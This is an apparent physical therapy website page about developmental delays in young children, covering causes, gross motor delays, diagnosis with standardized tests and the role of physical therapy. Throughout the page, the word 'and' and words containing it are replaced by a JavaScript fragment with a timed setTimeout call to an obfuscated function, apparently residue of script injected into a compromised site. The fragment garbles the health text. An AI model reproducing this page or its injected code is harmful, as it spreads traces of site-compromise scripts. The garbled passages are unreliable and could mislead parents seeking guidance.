CONDITIONS

Developmental Delays

Developmental delays have been said to account for one of the most common conditions affecting children under the age of 5 years old. According to the American Physical Therapy Association, developmental delays occur when children acquire skills at a slower rate than other kids their age. 1out of 4 children are at risk of developmental delays. Delays can occur as a results of prematurity, environment restraints, as well as a wide range of medical disorders such as Down’s Syndrome, Cerebral Palsy, sensory processing disorders andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Spina Bifida to name a few.

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Common Gross Motor Delays
• Difficulties with head control
• Difficulties rolling
• Sitting difficulties
• Difficulties standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding
• Difficulties walking
• Inability to jump
• Difficulties running

Treatment

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How Is it Diagnosed?
Early detection is important to determine whether or not your chid has delays. Parents should talk to their pediatrician even with the slightest concerns about their child’s development. Delays can occur in one or more areas including gross motor, fine motor, speech, cognitive, social andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and emotional. In some cases a multidisciplinary team approach involving assessments by any combinations of physical therapists, occupational therapists, speech therapists andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/or early intervention specialists can be warranted to determine delays andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recommendations for services. Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardized test(s) are used to compare how your child is functioning as compared to kids their age andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are used to determine whether or not your child has any delays. Peabody Development Delays is a commonly used standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardized test amongst physical therapists to determine the presence or lack of gross motor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fine motor delays.

Treatment

How Can Physical Therapy Help?
Physical therapists are trained in administering tests, evaluating movement patterns, assessing strength, range of motion andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and forming clinical judgements regarding your child’s physical health. Once the appropriate tests have been performed, a skilled physical therapist can guide the family to determine the best course of action to address all findings that are outside of the norms. This can involve devising a plan to address limitations in mobility, strength, range of motion, gross motor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fine motor skills. This should also include family education on techniques, exercises andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and precautions to be carried out at home to assist with expediting recover.

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